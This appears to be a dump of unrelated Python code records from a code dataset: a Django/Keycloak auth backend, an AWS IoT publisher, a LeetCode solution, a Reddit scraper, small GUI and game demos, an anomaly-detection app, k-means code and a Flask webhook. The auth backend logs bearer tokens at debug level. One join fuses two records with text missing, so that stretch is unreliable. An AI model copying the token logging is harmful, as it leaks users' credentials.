request.session\n sess['ACCESS_TOKEN'] = token['access_token']\n sess['ACCESS_TOKEN_EXPIRES_AT'] = now + token['expires_in']\n sess['REFRESH_TOKEN'] = token['refresh_token']\n sess['REFRESH_TOKEN_EXPIRES_AT'] = now + token['refresh_expires_in']\n\n def _process_userinfo(self, request, userinfo):\n logger.debug(\"userinfo: {}\".format(userinfo))\n sub = userinfo['sub']\n username = userinfo['preferred_username']\n email = userinfo.get('email', '')\n first_name = userinfo.get('given_name', None)\n last_name = userinfo.get('family_name', None)\n\n user = self._get_or_create_user(sub, username)\n user_profile = user.user_profile\n\n # Save the user info claims\n for (claim, value) in userinfo.items():\n if user_profile.userinfo_set.filter(claim=claim).exists():\n userinfo_claim = user_profile.userinfo_set.get(claim=claim)\n userinfo_claim.value = value\n userinfo_claim.save()\n else:\n user_profile.userinfo_set.create(claim=claim, value=value)\n\n # Update User model fields\n user = user_profile.user\n user.username = username\n user.email = email\n user.first_name = first_name\n user.last_name = last_name\n user.save()\n\n return user\n\n def _get_or_create_user(self, sub, username):\n\n try:\n user_profile = models.UserProfile.objects.get(\n userinfo__claim='sub', userinfo__value=sub)\n return user_profile.user\n except models.UserProfile.DoesNotExist:\n try:\n # For backwards compatibility, lookup by username\n user = User.objects.get(username=username)\n # Make sure there is a user_profile with the sub claim, which\n # will be used to do the lookup next time\n if not hasattr(user, 'user_profile'):\n user_profile = models.UserProfile(user=user)\n user_profile.save()\n user_profile.userinfo_set.create(\n claim='sub', value=sub)\n else:\n userinfo = user.user_profile.userinfo_set.get(claim='sub')\n logger.warning(\n f\"User {username} exists but sub claims don't match: \"\n f\"old={userinfo.value}, new={sub}. Updating to new \"\n \"sub claim.\")\n userinfo.value = sub\n userinfo.save()\n return user\n except User.DoesNotExist:\n user = User(username=username)\n user.save()\n user_profile = models.UserProfile(user=user)\n user_profile.save()\n user_profile.userinfo_set.create(claim='sub', value=sub)\n return user\n\n def _store_idp_userinfo(self, user, token, idp_alias):\n try:\n idp_token_url = None\n userinfo_url = None\n for auth_option in settings.AUTHENTICATION_OPTIONS['external']:\n if auth_option['idp_alias'] == idp_alias:\n idp_token_url = auth_option.get('idp_token_url')\n userinfo_url = auth_option.get('userinfo_url')\n break\n if idp_token_url is None or userinfo_url is None:\n logger.debug(f\"idp_token_url and/or userinfo_url not set for {idp_alias} \"\n \"in AUTHENTICATION_OPTIONS, skipping retrieval of external IDP userinfo\")\n return\n access_token = token['access_token']\n logger.debug(f\"access_token={access_token} for idp_alias={idp_alias}\")\n # fetch the idp's token\n headers = {'Authorization': f'Bearer {access_token}'}\n # For the following to work, in Keycloak the IDP should have 'Store\n # Tokens' and 'Stored Tokens Readable' enabled and the user needs\n # the broker/read-token role\n r = requests.get(idp_token_url, headers=headers)\n idp_token = r.json()\n idp_headers = {'Authorization': f\"Bearer {idp_token['access_token']}\"}\n r = requests.get(userinfo_url, headers=idp_headers)\n userinfo = r.json()\n logger.debug(f\"userinfo={userinfo}\")\n\n # Save the idp user info claims\n user_profile = user.user_profile\n for (claim, value) in userinfo.items():\n if user_profile.idp_userinfo.filter(idp_alias=idp_alias, claim=claim).exists():\n userinfo_claim = user_profile.idp_userinfo.get(idp_alias=idp_alias, claim=claim)\n userinfo_claim.value = value\n userinfo_claim.save()\n else:\n user_profile.idp_userinfo.create(idp_alias=idp_alias, claim=claim, value=value)\n except Exception:\n logger.exception(f\"Failed to store IDP userinfo for {user.username} from IDP {idp_alias}\")\n\n def _check_username_initialization(self, request, user):\n # Check if the username assigned to the user was based on the user's\n # email address or if it was assigned some random string (Keycloak's\n # sub). If the latter, we'll want to alert the admins so that they can\n # assign a proper username for the user.\n user_profile = user.user_profile\n if (not user_profile.username_initialized and\n user_profile.userinfo_set.filter(claim='email').exists() and\n user_profile.userinfo_set.filter(claim='preferred_username').exists() and\n user_profile.userinfo_set.get(claim='email').value == user_profile.userinfo_set.get(claim='preferred_username').value):\n user_profile.username_initialized = True\n user_profile.save()\n\n # TODO: also check idp_userinfo.preferred_username if it exists\n\n if not user_profile.username_initialized and not user_profile.is_username_valid:\n try:\n utils.send_admin_alert_about_uninitialized_username(\n request, user.username, user.email, user.first_name, user.last_name)\n except Exception:\n logger.exception(f\"Failed to send alert about username being uninitialized: {user.username}\", extra={'request': request})\n","sub_path":"django_airavata/apps/auth/backends.py","file_name":"backends.py","file_ext":"py","file_size_in_byte":16343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"346880802","text":"#!/usr/bin/env python\nimport logging, time,json\n# Import SDK packages\nfrom AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTClient\n\n\n# Custom MQTT message callback\n\ndef customCallback(client, userdata, message):\n print(\"Received a new message: \")\n print(message.payload)\n print(\"from topic: \")\n print(message.topic)\n print(\"--------------\\n\\n\")\n\n\nclass IOTPublisher(object):\n \"\"\"\n class that collects and publishes sensor data\n \"\"\"\n\n def __init__(self,endpoint=None, iot_client_name=None, short_cert_name = None, iot_monitor_name = None,\n iot_publish_seconds = 180, sensors=None):\n\n self.endpoint = endpoint\n self.iot_client_name = iot_client_name\n self.iot_monitor_name = iot_monitor_name\n self.short_cert_name = short_cert_name\n self.iot_publish_seconds = int(iot_publish_seconds)\n self.sensors = sensors\n\n self.MQTTClient = AWSIoTMQTTClient(\"milo\")\n\n self.MQTTClient.configureEndpoint(\"a3q0zcnctmxqih.iot.us-west-2.amazonaws.com\", 8883)\n\n self.MQTTClient.configureCredentials(\n \"certs/root-CA.pem\",\n \"certs/%s-private.pem.key\" % self.short_cert_name,\n \"certs/%s-certificate.pem.crt\"% self.short_cert_name,\n )\n\n self.MQTTClient.configureOfflinePublishQueueing(-1) # Infinite offline Publish queueing\n self.MQTTClient.configureDrainingFrequency(2) # Draining: 2 Hz\n self.MQTTClient.configureConnectDisconnectTimeout(10) # 10 sec\n self.MQTTClient.configureMQTTOperationTimeout(5) # 5 sec\n\n # # Configure logging\n # logger = logging.getLogger(\"AWSIoTPythonSDK.core\")\n # logger.setLevel(logging.DEBUG)\n # streamHandler = logging.StreamHandler()\n # formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n # streamHandler.setFormatter(formatter)\n # logger.addHandler(streamHandler)\n\n self.MQTTClient.connect()\n\n def publish_sensor_data(self):\n payload = {}\n for sensor in self.sensors.values():\n payload = {}\n #sensor.update()\n #payload[sensor.name] = sensor.current_data\n payload.update(sensor.current_data)\n payload['TIMESTAMP'] = time.time()\n payload['TOPIC'] = '/'.join([self.iot_monitor_name,sensor.name])\n self.MQTTClient.publish(payload['TOPIC'],json.dumps(payload),1)\n\n def start_publishing_loop(self):\n while True:\n self.publish_sensor_data()\n time.sleep(self.iot_publish_seconds)\n\n","sub_path":"iot.py","file_name":"iot.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"360707801","text":"from nomor2 import Manusia\r\n\r\nclass SiswaSMA(Manusia):\r\n jurusan = \"Belum Ditentukan\"\r\n univ = \"Belum Ditentukan\"\r\n def __init__(self, nama, nisn, sma):\r\n self.nama = nama\r\n self.nisn = nisn\r\n self.sma = sma\r\n def __str__(self):\r\n return \"\\n\\nData Diri\\n\"\\\r\n +\"Nama : \"+self.nama\\\r\n +\"\\nNISN : \"+str(self.nisn)\\\r\n +\"\\nSMA : \"+self.sma\\\r\n +\"\\nUniv Pilihan : \"+self.univ\\\r\n +\"\\nJurusan Pilihan : \"+self.jurusan\r\n def ambil(self):\r\n print(\"\\n\\nUpdate Data Universitas Pilihan...\")\r\n self.univ = input(\"Pilih Univ : \")\r\n self.jurusan = input(\"Ambil Jurusan : \")\r\n\r\n\r\nsis = SiswaSMA(\"a\",\"a\",\"aa\")\r\nprint(sis)\r\nsis.ambil()\r\nprint(sis)\r\n","sub_path":"2_D_153/nomor6.py","file_name":"nomor6.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"254894739","text":"# (This problem is an interactive problem.)\n\n# A row-sorted binary matrix means that all elements are 0 or 1 and each row of the matrix is sorted in non-decreasing order.\n\n# Given a row-sorted binary matrix binaryMatrix, return the index (0-indexed) of the leftmost column with a 1 in it. If such an index does not exist, return -1.\n\n# You can't access the Binary Matrix directly. You may only access the matrix using a BinaryMatrix interface:\n\n# BinaryMatrix.get(row, col) returns the element of the matrix at index (row, col) (0-indexed).\n# BinaryMatrix.dimensions() returns the dimensions of the matrix as a list of 2 elements [rows, cols], which means the matrix is rows x cols.\n# Submissions making more than 1000 calls to BinaryMatrix.get will be judged Wrong Answer. Also, any solutions that attempt to circumvent the judge will result in disqualification.\n\n# For custom testing purposes, the input will be the entire binary matrix mat. You will not have access to the binary matrix directly.\n\n \n\n# Example 1:\n\n\n\n# Input: mat = [[0,0],[1,1]]\n# Output: 0\n# Example 2:\n\n\n\n# Input: mat = [[0,0],[0,1]]\n# Output: 1\n# Example 3:\n\n\n\n# Input: mat = [[0,0],[0,0]]\n# Output: -1\n# Example 4:\n\n\n\n# Input: mat = [[0,0,0,1],[0,0,1,1],[0,1,1,1]]\n# Output: 1\n \n\n# Constraints:\n\n# rows == mat.length\n# cols == mat[i].length\n# 1 <= rows, cols <= 100\n# mat[i][j] is either 0 or 1.\n# mat[i] is sorted in non-decreasing order.\n# \"\"\"\n# This is BinaryMatrix's API interface.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n#class BinaryMatrix(object):\n# def get(self, row: int, col: int) -> int:\n# def dimensions(self) -> list[]:\n\nclass Solution:\n def leftMostColumnWithOne(self, binaryMatrix: 'BinaryMatrix') -> int:\n rows, cols = binaryMatrix.dimensions()\n zeros_ups = [float('-inf')]*rows\n cl,cr = 0,cols-1\n while cl<=cr:\n cmid = (cl+cr)//2\n #has_one = False\n for row in range(rows):\n if cmid<=zeros_ups[row]:\n continue\n cell = binaryMatrix.get(row,cmid)\n if cell == 0:\n zeros_ups[row] = max(cmid,zeros_ups[row])\n else:\n #has_one = 1\n cr = cmid-1\n break\n else:\n cl = cmid+1\n return cl if cl 500 and 'https' not in comment.body:\n sentences = sent_tokenize(comment.body)\n\n for sentence in sentences:\n if any(x in sentence.lower() for x in bad_words):\n pass\n else:\n print(\"Processing sentence: '{}'.\".format(sentence))\n tokens = word_tokenize(sentence)\n words = []\n features = set()\n\n POStokens = nltk.pos_tag(tokens)\n\n for word,pos in POStokens:\n\n pos_for_lemmatizer = pos_map.get(pos)\n if (pos_for_lemmatizer):\n words.append({\n \"original\": word,\n \"pos\": pos,\n \"lemma\": lmtzr.lemmatize(word,pos=pos_for_lemmatizer)\n })\n if pos in feature_map:\n features.add(feature_map.get(pos))\n\n if sentence.find(\"'\") > -1:\n features.add('apostrophe')\n\n if any(x in sentence.lower() for x in articles):\n features.add('article')\n\n result = db.sentences.insert_one({\n \"sentence\": sentence,\n \"dataType\": \"text\",\n \"source\": \"reddit\",\n \"submissionID\": submission.id,\n \"features\": list(features),\n \"words\": words\n })\n\n print(\"Saved [{}].\".format(result.inserted_id))\n","sub_path":"access.py","file_name":"access.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"396480952","text":"#!C:\\Python27\\python.exe\r\n# -*- coding: utf-8 -*-\r\n\r\n'''\r\nAll Tk colors list\r\nhttp://wiki.tcl.tk/16166\r\n'''\r\n\r\n\r\nimport tkinter as tk\r\n\r\ndef demo(master):\r\n listbox = tk.Listbox(master)\r\n listbox.pack(expand=1, fill=\"both\")\r\n\r\n # inserting some items\r\n listbox.insert(\"end\", \"A list item\")\r\n\r\n for item in [\"one\", \"two\", \"three\", \"four\"]:\r\n listbox.insert(\"end\", item)\r\n\r\n # this changes the background colour of the 2nd item\r\n listbox.itemconfig(1, {'bg':'red'})\r\n\r\n # this changes the font color of the 4th item\r\n listbox.itemconfig(3, {'fg': 'blue'})\r\n\r\n # another way to pass the colour\r\n listbox.itemconfig(2, bg='green')\r\n listbox.itemconfig(0, foreground=\"purple\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n root = tk.Tk()\r\n demo(root)\r\n root.mainloop()","sub_path":"GUI Samples/Tkinter_Color_Listbox.py","file_name":"Tkinter_Color_Listbox.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"122750513","text":"# -----------------------\n# @author: Ramya Velaga\n# @date: 27-05-2020\n# ----------------------\nimport os\nimport cv2\nfrom xml.dom import minidom\nimport sys\nxml_files=os.listdir('Annotations/example_folder') #get all xml files from example folder in annotations directory\n# print(xml_files)\nnumber_keys=int(sys.argv[1]) # number of keys for searching as user input\nkey_list=[]\nfor n in range(number_keys):\n key_list.append(sys.argv[2+int(n)]) # keys to be searched \n# print(key_list)\nif not os.path.exists('_'.join(key_list)):\n os.makedirs('_'.join(key_list)) # creating directory to store modified images\n\n#Traversing through each xml file\nfor file in xml_files:\n # print(file)\n mydoc = minidom.parse(os.path.join('Annotations/example_folder',file)) \n image_name=mydoc.getElementsByTagName('filename')[0].childNodes[0].data #getiing image and folder details from xml file\n folder_name=mydoc.getElementsByTagName('folder')[0].childNodes[0].data\n # print(image_name)\n img=cv2.imread(os.path.join('Images/'+folder_name,image_name))\n cv2.imshow('image',img)\n # print(img)\n items = mydoc.getElementsByTagName('object')\n for element in items:\n element_list=element.getElementsByTagName('tag') #getting tag list for specific annotation\n tag_list=[]\n for a in element_list:\n tag_list.append(a.childNodes[0].data)\n print(tag_list)\n flag = 0\n if(all(x in tag_list for x in key_list)): #checking whether entire key list is present in tag list\n flag = 1\n x=element.getElementsByTagName('x')\n y=element.getElementsByTagName('y')\n start_x=int(x[0].childNodes[0].data)\n start_y=int(y[0].childNodes[0].data)\n end_x=int(x[2].childNodes[0].data)\n end_y=int(y[2].childNodes[0].data)\n print((start_x,start_y),(end_x,end_y))\n if(flag==1): \n print(flag)\n img=cv2.rectangle(img,(start_x,start_y),(end_x,end_y),(100,150,0),2) #draw rectangle in green colour\n # print(image)\n else:\n img=cv2.rectangle(img,(start_x,start_y),(end_x,end_y),(255,0,0),1) #draw rectangle in black colour\n cv2.imwrite('_'.join(key_list)+'/'+image_name,img)\n","sub_path":"label-merger.py","file_name":"label-merger.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"57393477","text":"'''\r\nMatt Myers\r\n09/14/2021\r\nGUI Rock Paper Scissors\r\ntest mess\r\n'''\r\n# Libraries\r\nimport PySimpleGUI as sg\r\nfrom rps_func import results\r\nimport random\r\n\r\n#Functions\r\n\r\n#GUI\r\nsg.theme('Dark Teal 2')\r\n\r\n# *Window.Contents\r\nlayout = [[sg.Text(\"\\nRock, Paper, or Scissors?\\n\\nChoose Wisely!\\n\")],\r\n [sg.Button('Rock'), sg.Button('Paper'), sg.Button('Scissors')],\r\n [sg.Output(size=(30,4), key='-o-')],\r\n [sg.Text(size=(30,2), key='wins', justification='r')],\r\n [sg.Button('Quit')]]\r\n\r\n# *Window.Create\r\nwindow = sg.Window('Rock_Paper_Scissors', layout, size=(225,275))\r\n\r\n# *Window.Display\r\nwhile True:\r\n event, values = window.read()\r\n comp = random.choice(['Rock','Paper','Scissors'])\r\n if event == sg.WINDOW_CLOSED or event == 'Quit':\r\n break\r\n \r\n result,uwin,cwin = results(event,comp)\r\n \r\n window['-o-'].update('You choose: ' + event +\r\n '\\nComputer choose: ' + comp +\r\n '\\n\\n' + result) \r\n window['wins'].update('Player: '+ comp + '\\nComputer: ' + event)\r\n\r\n# *Window.Close\r\nwindow.close()\r\n\r\n#Backend\r\n\r\n\r\n\r\n","sub_path":"rps/rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"37023155","text":"import pygame\r\nimport math\r\n\r\npi = 3.14159\r\n \r\n# Define some colors\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nGREEN = (0, 255, 0)\r\nRED = (255, 0, 0)\r\n \r\npygame.init()\r\n \r\n# Set the width and height of the screen [width, height]\r\nsize = (700, 500)\r\nscreen = pygame.display.set_mode(size)\r\n \r\npygame.display.set_caption(\"My Game\")\r\n \r\n# Loop until the user clicks the close button.\r\ndone = False\r\n \r\n# Used to manage how fast the screen updates\r\nclock = pygame.time.Clock()\r\n \r\n# -------- Main Program Loop -----------\r\nwhile not done:\r\n # --- Main event loop\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done = True\r\n \r\n # --- Game logic should go here\r\n \r\n # --- Drawing code should go here\r\n \r\n # First, clear the screen to white. Don't put other drawing commands\r\n # above this, or they will be erased with this command.\r\n screen.fill(WHITE)\r\n \r\n for i in range(720):\r\n \r\n radians_x = i * pi / 180\r\n radians_y = i * pi / 180\r\n \r\n x = int(i ) \r\n y = int(75 * math.cos(radians_y)) + 200\r\n \r\n pygame.draw.line(screen, BLACK, [x,y], [x+5,y], 5)\r\n # --- Go ahead and update the screen with what we've drawn.\r\n pygame.display.flip()\r\n \r\n # --- Limit to 60 frames per second\r\n clock.tick(60)\r\n \r\n# Close the window and quit.\r\n# If you forget this line, the program will 'hang'\r\n# on exit if running from IDLE.\r\npygame.quit()","sub_path":"my_website/temp/pygame_test.py","file_name":"pygame_test.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"232218614","text":"\"\"\"Find anomalies within given data.\"\"\"\nimport numpy as np\n\nfrom bokeh.io import output_file, show\nfrom bokeh.layouts import row, widgetbox, column\nfrom bokeh.layouts import gridplot\nfrom bokeh.palettes import Viridis3\nfrom bokeh.plotting import figure\nfrom bokeh.models.widgets import Slider\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.io import curdoc\n\nimport time\nfrom sklearn.neighbors import KDTree\n\nUSING_TEST_DATA = False\nverbose = True\n\ndef random_clusters(num_tests, num_outliers, dim=2, outliers = False):\n \"\"\" Generate cluster like data set.\"\"\"\n X = 0.3 * np.random.randn(num_tests//2, dim)\n X_outliers = np.random.uniform(\\\n low=-4, high=4, size=(num_outliers, dim))\n X = np.r_[X + 2, X - 2, X_outliers]\n\n if outliers:\n return X, X_outliers\n else: \n return X\n\ndef lof(X, k=5, outlier_threshold = 1.5, verbose = False):\n\n \"\"\"Knn with KD trees\"\"\"\n start = time.time()\n BT = KDTree(X, leaf_size=k, p=2)\n\n distance, index = BT.query(X, k)\n distance, index = distance[:, 1:], index[:, 1:] \n radius = distance[:, -1]\n\n \"\"\"Calculate LRD.\"\"\"\n LRD = np.mean(np.maximum(distance, radius[index]), axis=1)\n r = 1. / np.array(LRD)\n\n \"\"\"Calculate outlier score.\"\"\"\n outlier_score = np.sum(r[index], axis=1) / np.array(r, dtype=np.float16)\n outlier_score *= 1. / k\n\n # print ('Compute time: %g seconds.' % ((time.time() - start)))\n\n if verbose: print (\"Recording all outliers with outlier score greater than %s.\"\\\n % (outlier_threshold))\n\n outliers = []\n \"\"\" Could parallelize this for loop, but really not worth the overhead...\n Would get insignificant performance gain.\"\"\"\n for i, score in enumerate(outlier_score):\n if score > outlier_threshold:\n #Got rid of score... could add to do circle size type of thing?\n outliers.append(X[i])\n\n if verbose:\n print (\"Detected outliers:\")\n print (outliers)\n\n return outliers\n\ndef update_data(attrname, old, new):\n \"\"\"Manage updates.\"\"\"\n t = threshold.value\n k = k_val.value\n\n n_1 = outliers[k][t][:, 0]\n n_2 = outliers[k][t][:, 1]\n n_3 = outliers[k][t][:, 2]\n n_4 = outliers[k][t][:, 3]\n\n s2.data = dict(x=n_1,y=n_2)\n s3.data = dict(x=n_1,y=n_3)\n s4.data = dict(x=n_1,y=n_4)\n\ndata, x_o = random_clusters(250, 20, dim=4, outliers=True)\n\n#data = np.array([[1,2,3],[2,3,1],[4,2,1],[5,6,2],[6,2,4]])\n#outliers = np.array([[[1,2,3],[2,3,1]],[[4,2,1],[5,6,2]]])\n\nt_range = np.arange(1, 2.5, 0.1)\nk_range = range(2,25,1)\n#outliers = [lof(X,5,i) for i in r]\noutliers = []\nfor i in k_range:\n temp = []\n for j in t_range:\n o = np.array(lof(data,k=i,outlier_threshold=j))\n temp.append(o)\n outliers.append(temp)\noutliers = np.array(outliers)\n\nlabels = None \nclaim_id_lookup = None\n\noutput_file(\"layout.html\")\n\n# Set up data \nd_x = data[:, 0]\nd_y = data[:, 1]\n\no_1 = outliers[0][0][:, 0]\no_2 = outliers[0][0][:, 1]\no_3 = outliers[0][0][:, 2]\no_4 = outliers[0][0][:, 3]\n\n# Create sources\ns1 = ColumnDataSource(data=dict(x=d_x, y=d_y))\ns2 = ColumnDataSource(data=dict(x=o_1, y=o_2))\ns3 = ColumnDataSource(data=dict(x=o_1, y=o_3))\ns4 = ColumnDataSource(data=dict(x=o_1, y=o_4))\n\n#--------------------------\n\n# Plot_0\nplot = figure(plot_height=400, plot_width=400, title=None,\n tools=\"crosshair,pan,reset,save,wheel_zoom\")\n\nplot.circle('x', 'y', source=s1, fill_color=\"blue\", size=6)\nplot.circle('x', 'y', source=s2, fill_color=\"red\", size=7)\n\n# Plot_1\nplot1 = figure(plot_height=400, plot_width=400, title=None,\n tools=\"crosshair,pan,reset,save,wheel_zoom\")\n\nplot1.circle('x', 'y', source=s1, fill_color=\"blue\", size=6)\nplot1.circle('x', 'y', source=s3, fill_color=\"red\", size=7)\n\n# Plot_2\nplot2 = figure(plot_height=400, plot_width=400, title=None,\n tools=\"crosshair,pan,reset,save,wheel_zoom\")\n\nplot2.circle('x', 'y', source=s1, fill_color=\"blue\", size=6)\nplot2.circle('x', 'y', source=s4, fill_color=\"red\", size=7)\n\n#--------------------------\n\ngrid = gridplot([[plot,plot1],[plot2]])\n\nthreshold = Slider(title=\"Threshold\", value=0, start=0, end=len(t_range), step=1)\nk_val = Slider(title=\"K Value\", value=0, start=0, end=len(k_range), step=1)\n\nthreshold.on_change('value', update_data)\nk_val.on_change('value', update_data)\n\ninputs = widgetbox(threshold,k_val)\n\ncurdoc().add_root(row(inputs, grid, width=800))\ncurdoc().title = \"Parameter Comparison\"","sub_path":"basic_vis.py","file_name":"basic_vis.py","file_ext":"py","file_size_in_byte":4415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"420365553","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport pandas as pd\nimport os\nimport re\nimport itertools\n\nfrom matplotlib import style\nfrom scipy import linalg\nfrom sklearn.cluster import KMeans\nfrom sklearn.mixture import GaussianMixture\n\n\nclass KMeansAssignment:\n _filepath = \"\"\n data = None\n\n def __init__(self, filename):\n \"\"\"Constructor\n\n :param filename: The name of the txt file with the dataset NOT containing '.txt'\n\n \"\"\"\n self._filepath = filename\n\n def _check_csv_file_(self):\n \"\"\"Checks if the csv file already exists. If the file do not exist, run the function _from_tab_to_csv\n\n \"\"\"\n if not os.path.isfile(self._filepath + \".csv\"):\n self._from_tab_to_csv(self._filepath + \".txt\")\n\n def gather_data(self):\n \"\"\"Gets the data from dataset\n\n \"\"\"\n self._check_csv_file_()\n data = pd.read_csv(self._filepath + \".csv\")\n\n self.data = np.array(data.drop(['label'], 1))\n return self.data\n\n def run_kmeans(self, n_cluster=3):\n \"\"\"Runs the alorithm and shows the result as a 2D graph\n\n :param n_cluster: Number of clusters to divide the dataset into\n\n \"\"\"\n style.use(\"ggplot\")\n self.gather_data()\n kmeans = KMeans(n_cluster)\n kmeans.fit(self.data)\n\n centroids = kmeans.cluster_centers_\n labels = kmeans.labels_\n\n print(\"Centroid coordinates: \\n\", centroids, \"\\n\")\n\n colors = [\"y.\", \"c.\", \"r.\"]\n\n for i in range(len(self.data)):\n print(\"Datapoint coordinate:\", self.data[i], \"label:\", labels[i])\n plt.plot(self.data[i][0], self.data[i][1], colors[labels[i]], markersize=10)\n\n plt.scatter(centroids[:, 0], centroids[:, 1], marker=\"x\", s=150, linewidths=5, color='k', zorder=10)\n plt.title(\"Kmeans Clusters\")\n plt.ylabel(\"Width\")\n plt.xlabel(\"Length\")\n plt.show()\n\n def _from_tab_to_csv(self, path):\n \"\"\"Converts a txt file with data separated with tab(\\t) to a csv file (comma separated values) and adds header\n :param path: the filename to be converted\n \"\"\"\n with open(path) as source_file, open(\"seeds_dataset.csv\", \"w\") as new_file:\n regex = re.compile(r\"\\t+\", re.IGNORECASE)\n new_file.write(\"area,perimeter,compactness,length,width,asym,groove,label\\n\")\n for line in source_file:\n if not line.strip(): continue\n new_file.write(regex.sub(\",\", line))\n source_file.close()\n new_file.close()\n\n def _create_elbow(self, min, max):\n distorsions = []\n for cluster_count in range(min, max):\n kmeans = KMeans(n_clusters=cluster_count)\n kmeans.fit(self.data)\n distorsions.append(kmeans.inertia_)\n\n fig = plt.figure(figsize=(15, 5))\n plt.plot(range(min, max), distorsions)\n plt.grid(True)\n plt.title('Elbow curve')\n plt.xlabel('Clusters')\n plt.ylabel('Sum of Squared Errors')\n return fig\n\n\nclass GaussianMixtureAssignment:\n gaussian_model = None\n data = None\n\n def __init__(self, dataset):\n kmeans_ = KMeansAssignment(dataset)\n self.data = kmeans_.gather_data()\n\n def runGM(self):\n\n global best_gmm\n lowest_bic = np.infty\n bic = []\n n_components_range = range(1, 7)\n cv_types = ['spherical', 'tied', 'diag', 'full']\n for cv_type in cv_types:\n for n_components in n_components_range:\n gmm = GaussianMixture(n_components=n_components, covariance_type=cv_type)\n gmm.fit(self.data)\n bic.append(gmm.bic(self.data))\n if bic[-1] < lowest_bic:\n lowest_bic = bic[-1]\n best_gmm = gmm\n\n bic = np.array(bic)\n color_iter = itertools.cycle(['navy', 'green', 'purple', 'cornflowerblue'])\n clf = best_gmm\n bars = []\n\n # BIC model\n spl = plt.subplot(2, 1, 1)\n for i, (cv_type, color) in enumerate(zip(cv_types, color_iter)):\n center_point = np.array(n_components_range) + .2 * (i - 2)\n bars.append(plt.bar(center_point, bic[i * len(n_components_range):\n (i + 1) * len(n_components_range)], width=.2, color=color))\n\n plt.xticks(n_components_range)\n plt.ylim([bic.min() * 1.01 - .01 * bic.max(), bic.max()])\n plt.title('BIC Score per model')\n center_point = np.mod(bic.argmin(), len(n_components_range)) + .65 + \\\n .2 * np.floor(bic.argmin() / len(n_components_range))\n plt.text(center_point, bic.min() * 0.97 + .03 * bic.max(), 'X', fontsize=20)\n spl.set_xlabel('Num of components')\n spl.legend([b[0] for b in bars], cv_types)\n\n # Winner\n splot = plt.subplot(2, 1, 2)\n best_prediction = clf.predict(self.data)\n for i, (mean, cov, color) in enumerate(zip(clf.means_, clf.covariances_, color_iter)):\n v, w = linalg.eigh(cov)\n if not np.any(best_prediction == i):\n continue\n plt.scatter(self.data[best_prediction == i, 0], self.data[best_prediction == i, 1], .8, color=color)\n\n angle = np.arctan2(w[0][1], w[0][0])\n angle = 180. * angle / np.pi\n v = 2. * np.sqrt(2.) * np.sqrt(v)\n ell = patches.Ellipse(mean, v[0], v[1], 180. + angle, color=color)\n ell.set_clip_box(splot.bbox)\n ell.set_alpha(.5)\n splot.add_artist(ell)\n\n plt.xticks(())\n plt.yticks(())\n plt.title('Selected GMM: {} model, {} components'.format(best_gmm.covariance_type, best_gmm.n_components))\n plt.subplots_adjust(hspace=.55, bottom=0.1)\n plt.show()\n","sub_path":"k-means.py","file_name":"k-means.py","file_ext":"py","file_size_in_byte":5877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"535567506","text":"from machine import UART\r\nfrom machine import Pin\r\nimport time\r\nimport _thread\r\n\r\ntxPin = Pin(4)\r\nrxPin = Pin(5)\r\nuart = UART(1,baudrate=115200,tx=txPin, rx=rxPin)\r\n\r\ncounter =0\r\nwhile True:\r\n\r\n stringToWrite = 'WHY \\r\\n '+ str(counter)\r\n print(\"printing \", stringToWrite)\r\n uart.write(str(stringToWrite))\r\n\r\n counter+=1\r\n\r\n time.sleep_ms(1000)\r\n","sub_path":"UARTPython/uartWrite.py","file_name":"uartWrite.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"651650548","text":"from flask import Flask, request, Response, make_response, jsonify\nimport json\nfrom chatbot_api.utils import is_authenticated, is_json, is_telegram, parse_request\nimport pika\nimport os\nfrom rabbit_connector import AMQPClient\n\napp = Flask(__name__)\n\nurl = os.environ.get('CLOUDAMQP_URL')\nparams = pika.URLParameters(url)\n\n\n@app.route('/', methods=['POST'])\ndef dialogflow_webhook():\n connection_local = pika.BlockingConnection(params)\n client_local = AMQPClient(connection_local)\n\n # Wrong authentication\n if not is_authenticated(request):\n return Response(\n 'Could not verify your access level for that URL',\n status=401\n )\n\n # Check if message was sent from a telegram user\n if not is_telegram(request):\n return Response(\n 'Invalid client',\n status=400\n )\n\n # All checks passed\n # do rabbitmq sync-stuff\n parsed_dict = parse_request(request)\n intent = parsed_dict['intent']\n\n routing_key = intent.split('.')[1]\n json_dict = json.dumps(parsed_dict)\n res = client_local.call(message=json_dict, exchange=\"management_exchange\", routing_key=routing_key, sync=True)\n res = json.loads(res)\n client_local.disconnect()\n return make_response(jsonify({'fulfillmentText': res}))\n\n\nif __name__ == '__main__':\n setup_connection = pika.BlockingConnection(params)\n setup_client = AMQPClient(setup_connection)\n\n # declare queues, exchanges, bindings\n\n 